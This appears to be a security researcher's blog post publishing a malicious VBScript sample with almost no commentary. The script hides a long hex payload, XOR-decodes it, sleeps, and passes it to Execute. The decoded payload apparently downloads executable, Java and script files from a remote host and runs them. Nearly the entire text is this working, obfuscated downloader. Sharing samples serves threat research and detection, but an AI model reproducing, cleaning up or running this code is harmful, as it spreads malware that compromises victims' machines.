Malicious VBScript ExPrEssIon

Malicious VB Script
Reported by neonprimetime security
http://neonprimetime.blogspot.com

*****

diM ExPrEssIon

dim mSdN

mSdN = ChRw(50) * ChRw(49) + ChRw(50) * ChRw(50)

if mSdN = ChRw(50) * ChRw(49) + ChRw(50) * ChRw(50) then

    ExPrEssIon = "714756024D4C47021F026150474356476D40484741560A00757141504B52560C714A474E4E000B2F2870434C464D4F4B58472F284413021F024D4C470C715247414B434E644D4E464750510A0071564350565752000B020402007E00020402504C46020402000C475A47002F2871475602564D55021F02755141504B52560C6150474356476D40484741560A00757141504B52560C714A474E4E000B2F2870434C464D4F4B58472F284410021F02564D550C715247414B434E644D4E464750510A0071564350565752000B020402007E00020402504C46020402000C544051002F2871475602564A504747021F02755141504B52560C6150474356476D40484741560A00757141504B52560C714A474E4E000B2F2870434C464D4F4B58472F284411021F02564A5047470C715247414B434E644D4E464750510A0071564350565752000B020402007E00020402504C46020402000C484350002F28434D4C47021F02004A565652180D0D4B4B0C414D4F0C43570D43565643414A0D524A4D564D0C475A47002F284356554D021F02004A565652180D0D4B4B0C414D4F0C43570D43565643414A0D524A4D564D0C484350002F2843564A504747021F02004A565652180D0D4B4B0C414D4F0C43570D43565643414A0D524A4D564D0C544051002F286D4C026750504D5002704751574F47026C475A562F2861434E4E02444D4C47020A434D4C470E44130B2F286D4C026750504D5002704751574F47026C475A562F2861434E4E02444D4C47020A43564A5047470E44100B2F286D4C026750504D5002704751574F47026C475A562F2861434E4E02444D4C47020A4356554D0E44110B2F286D4C026750504D5002704751574F47026C475A562F280251574002444D4C47020A430E400B2F2802020202464B4F024E4675761802714756024E467576021F024150474356474D40484741560A006F4B41504D514D44560C7A6F6E6A767672000B2F2802020202464B4F026E644074431802714756026E64407443021F024150474356474D40484741560A0063464D46400C71565047434F000B2F28020202024E4675760C6D52474C0200656776000E02430E0264434E51472F282B6D4C026750504D5002704751574F47026C475A562F28020202024E4675760C71474C462F282B6D4C026750504D5002704751574F47026C475A562F2802020202554B564A026E644074432F280202020202020C565B5247021F02132F280202020202020C4D52474C2F280202020202020C55504B5647024E4675760C504751524D4C5147604D465B2F280202020202020C51435447564D444B4E4702400E02102F282B02026D4C026750504D5002704751574F47026C475A562F2802020202474C4602554B564A2F2802474C46025157402F284D4C470C675A4741020A44130B2F286D4C026750504D5002704751574F47026C475A562F28564D550C70574C02614A500A11160B0204024411020402614A500A11160B0E02120E025440765057472F286D4C026750504D5002704751574F47026C475A562F28564D550C70574C02614A500A11160B0204024410020402614A500A11160B0E02120E025440765057472F286D4C026750504D5002704751574F47026C475A56"
end if

Public Function Dec( ch , ExPrEssIonInput )

For you = ChRw(49) To (LeN(ExPrEssIonInPut) / ChRw(50))

          st1 = CInT(ChRw(38)& ChRw(72) & (MiD(ExPrEssIonInput, (ChRw(50) * yoU) - ChRw(49), ChRw(50))))
          st2 = AsC(MiD(ch, ((yoU MoD Len(ch)) & ChRw(49)), ChRw(49)))
if mSdN = ChRw(50) * ChRw(49) + ChRw(50) * ChRw(50) then

           strExPrEssIonOut = strExPrEssIonOut & ChR(st1 XoR st2)
end if
       Next

       Dec = strExPrEssIonOut

   End Function

    dim SfUnC

SfUnC =  (DeC ( ChRw(34) ,ExPrEssIon))
Wscript.Sleep 27000
Execute SfUnC